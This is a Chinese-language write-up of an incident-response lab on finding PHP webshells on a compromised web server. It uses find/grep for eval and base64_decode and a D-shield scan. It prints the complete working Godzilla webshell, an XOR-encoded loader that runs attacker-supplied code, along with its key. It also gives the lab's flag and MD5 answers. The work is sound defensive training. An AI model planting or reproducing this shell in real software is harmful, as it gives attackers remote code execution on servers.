WebShell 定位
首先启动靶机,登录 SSH,当务之急是对 WebShell 进行定位,常见的 WebShell 定位方式有两种
-
使用 D 盾等工具进行查杀 -
在受害机器中手动查询
手动查询
首先切换到网站的运行目录中
cd /var/www/html
这里因为要查询的是 PHP WebShell,故将后缀确定为.php
,之后搜索 WebShell 常用的eval()
函数,除此以外还有assert()
等方法
find ./ -name "*.php" | xargs grep "eval("
xargs 可以将管道或标准输入数据转换成命令行参数,也能够从文件的输出中读取数据,通常和管道符一起使用
之后我们对搜索出的三个文件依次进行排查,排查./include/gz.php
文件时发现 Flag 为027ccd04-5065-48b6-a32d-77c704a5e26d
(提交时注意 Flag 格式)
D盾查杀
将网站运行目录进行打包,回传到D盾进行扫描即可,结果如下,扫描结果和我们手工排查的基本一致,之后就不再赘述
tar -czvf src.tar.gz ./*
确定 WebShell 工具
完整木马代码如下:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
根据其中出现的密钥值3c6e0b8a9c15224a
,我们可以确定攻击者使用的是 Godzilla,Github 地址为https://github.com/BeichenDream/Godzilla
,转成 md5 为39392de3218c333f794befef07ac9257
,得到 Flag
查找隐藏 Shell
根据之前的查杀结果,这里 Shell 的路径是/var/www/html/include/Db/.Mysqli.php
,这里用ls
是看不出来的,需要使用ls -a
命令显示隐藏文件,最终将路径转为 md5 为aebac0e58cd6c5fad1695ee4d1ac1919
查杀免杀马
所谓免杀马,就是绕过安全检测,使木马正常工作的方式,关于 PHP 免杀可以参考# PHP从零学习到Webshell免杀手册,简单来说,PHP 免杀马通常字符串异或加密、Base 家族加密、rot13加密、字符串拼接等方式实现,这里我们对 Base64 编码进行查杀,依然是手动搜索
find ./ -name "*.php" | xargs grep "base64_decode"
这里在/var/www/html/wap/top.php
中找到了 Base64 加密方法
打开确认的确是免杀马,最终生成路径 md5 为eeff2eabfd9b7a6d26fc1a53d3f7d1de
原文始发于微信公众号(天禧信安):【玄机】第一章-应急响应-WebShell 查杀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论